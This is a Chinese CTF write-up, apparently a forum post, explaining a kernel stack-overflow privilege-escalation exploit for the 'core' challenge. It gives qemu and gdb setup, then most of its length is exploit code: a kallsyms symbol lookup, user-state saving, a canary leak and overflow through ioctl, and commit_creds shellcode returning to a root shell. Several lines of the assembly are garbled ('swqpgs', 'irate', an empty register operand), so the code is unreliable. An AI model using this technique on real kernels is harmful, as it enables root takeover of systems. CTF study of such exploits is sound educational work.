作为一个kernel pwn 刚刚入门的同学,想着分享一下自己的经验,这几道kernel pwn的题目当时比赛的时候没有做出来,后来对照着大佬的write up复现了一波,仔细研究了一下。准备分析core babydriver solid_core这三道题,如果能弄懂了这三道题入门应该没问题了。
第一篇文章讲core 和 babydriver
第二篇文章讲 solid_core(因为很难所以单独一篇文章分析)
第三篇文章讲一下linux kernel 堆分配 slub分配器和内核堆溢出的例子
首先讲一点准备知识:
ctf的kernel pwn中一般会给出qemu起系统的脚本 随便举一例
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./initrd.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \ -cpu qemu64,+smep,+smap \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -s \ -nographic -enable-kvm \
比较重要的是qemu-system-x86制定处理器体系,
-m指定内存,
-s选项默认指定 开启更gdb远程调试端口 1234
$ mkdir core
$ mv core.cpio ./core/core.cpio.gz
$ cd core
$ gunzip core.cpio.gz
$ cpio -idmv < core.cpio
这个时候,将exp放入系统的一个目录中
$ nano init
这条命令用于编辑init,一般用于删除定时关机
$find . | cpio -o -H newc | gzip > ../core.cpio
用于重新打包 也可以用这几条:
$ ./gen_cpio.sh core.cpio
$ mv core.cpio ../core.cpio
$ cd ..
$ rm -rf core
target remote:1234 这个时候如果返回一堆字符显示过长,
set architecture i386:x86-64:intel 使用这条命令设置架构
在运行时载入模块的符号表:
grep 0 /sys/module/your_module/sections/.text
add-symbol-file ./your_module.ko text
其中your_module是你要加载的驱动模块,
text为第一行命令的返回值。
如何得到kernel rop
如果有ELF形式的vmlinux映像可以直接用ROPgadgets,但更多时候我们只有bzImage,这个时候需要用extract-vmlinux进行提权,它在内核源码的scripts中,搜索自己linux系统的内核源码就能找到。
强网杯一共有两道kernel pwn题,solid_core网上有出题人详细的思路讲解
首先看最简单的一道题 core,是入门级别的一个简单的内核栈溢出,关于内核栈溢出,我认为和用户态的栈溢出在本质上是一样的,只是在此基础上需要做很多准备工作,保证在内核态实现提权之后返回用户态系统不会崩溃,从而可以成功的拿到root权限的shell
首先,我们来看题目给出了core.ko驱动文件,将它放入ida中,
commit_creds(prepare_kernel_cred(0));
借助/proc/kallsyms符号表,在运行时动态读取。这个很容易实现,贴出一例:
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200] = {0};
char *p = NULL;
char *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL){
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL){
if (strstr(buff, symbol_name) != NULL){
buff[strlen(buff) - 1] = '\0';
p = strchr(strchr(buff, ' ') + 1, ' ');
++p;
if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)){
p1 = strchr(buff, ' ');
*p1 = '\0';
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",symbol_name, addr);
break;
}
}
}
之后我们需要稳定系统,在内核返回用户态的时候,会调用iretq
iretq会依次弹出 rip cs eflags rsp ss之后做一些判断,因此如果不能构造好这些参数,系统会崩溃,无法get root shell。我们采取的方法是:提前构造一个save_state()函数,进入内核态前存储这些参数,用来构造payload。
static void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"pushfq;"
"pop %2;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflag)
:
: "memory");
}
很简单的一个函数,将cs ss eflag 分别存储在三个我们自定义的变量中。至于rip和rsp则是要我们自己去构造为getshell 的rip。这样返回用户态之后回去指向system("/bin/sh")。
int main()
{
if((base = mmap(0, 0x40000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0))==NULL)
{
perror("mmap");
exit(0);
}
int fd;
char tmp[64];
fd = open("/proc/core",O_RDWR);
ioctl(fd,COMMAND_PRINT,0x40);
ioctl(fd,COMMAND_READ,&tmp);
memcpy(&canary, tmp, 8);
char payload[] = {
0,0,0,0,0,0,0,0,
canary,
base+0x20000,
shellcode
};
write(fd, payload, 160);
ioctl(fd, IOCTL_COMMAND_COPY, 0xff00000000000008);
return 0;
}
static void shellcode()
{
commit_creds(prepare_kernel_cred(0));
asm(
"swqpgs;"\\
"movq %0 %%rax;"
"push %%rax;"
"movq %1 %%rax;"
"push %%rax;"
"movq %2 %%rax;"
"push %%rax;"
"movq %3 %%rax;"
"push %%rax;"
"movq %4 %%rax;"
"push %%rax;"
"irate;"
:
:"r"(user_ss),"r"()\\,"r"(user_eflags),"r"(user_cs),"r"(get_shell)
:"memory"
);
}
之后通过开头的解包方法先去掉定时shutdown,之后将exp放入系统,qemu起系统,实现提权。
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 2018-9-28 20:01
被obfuscation编辑
,原因: 上传附件